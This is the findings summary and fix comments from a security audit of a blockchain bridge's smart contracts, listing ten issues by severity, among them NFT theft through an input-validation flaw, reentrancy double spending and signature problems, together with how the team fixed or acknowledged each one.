#ID	Title	Type	Severity	Difficulty	Status
1	Using EnumerableSet Index may lead to undesired behavior	Logic Error	Minor	High	Fixed
2	Various optimizations are possible	Optimization	Tips	N/A	Fixed
3	ERC721Handler can be used to steal other's bridged NFTs	Input Validation	Critical	Low	Fixed
4	Signatures.sol's incorrect usage of signatures may lead to DoS	Cryptography	Major	Medium	Fixed
5	Signatures.sol's insufficient input validation may lead to DoS	Input Validation	Major	Medium	Fixed
6	FeeHandler token check is missing	Input Validation	Minor	Low	Fixed
7	ResourceID is not checked properly in proposal execution	Input Validation	Critical	Low	Fixed
8	Minor documentation flaws exist	Documentation	Tips	N/A	Fixed
9	Reentrancy in voteProposals() leads to double spending	Reentrancy	Critical	Low	Fixed
10	Handler change for a resourceID leads to Signature Replay	Input Validation	Minor	High	Acknowledged

Fix Comment

Issue 1 was fixed in this commit by forcing relayer removal logic to be only possible when the bridge is paused. The admin has to be extra careful about the proposals that are in the middle of the voting process, and check that there are no double voting opportunities available for relayers.

For Issue 2, the `_upgradeToAndCallSecure()` function was removed in this commit.
The unnecessary `onlyRelayers()` was removed in this commit.
The `_safeTransferETH()` function was optimized in this commit.
The overall optimization for `voteProposals()` was done in this commit.

Issue 3 was fixed in this commit.

For Issue 4, the `_HASHED_NAME` and `_HASHED_VERSION` issue was fixed in this commit.
The signature related issues were fixed in this commit.

Issue 5 was fixed in this commit.

Issue 6 was fixed by removing FeeHandler contracts and simply adding the fee related logic in the bridge contract. Therefore, the FeeHandler contracts are now not used.
See this commit and this commit for details on the fix method.

Issue 7 was fixed in this commit.

Issue 8 was fixed in various commits, such as this, this, this, this.

Issue 9 was fixed in this commit, and reentrancy guards were added as well.

Issue 10 was acknowledged by the team. The team will not reuse resourceID's and not use identical resourceID's for different tokens or handlers. Extra care needs to be taken for the admin.

DISCLAIMER

This report does not guarantee investment advice, the suitability of the business models, and codes that are secure without bugs. This report shall only be used to discuss known technical issues. Other than the issues described in this report, undiscovered issues may exist such as defects on the main network. In order to write secure smart contracts, correction of discovered problems and sufficient testing thereof are required.

End of Document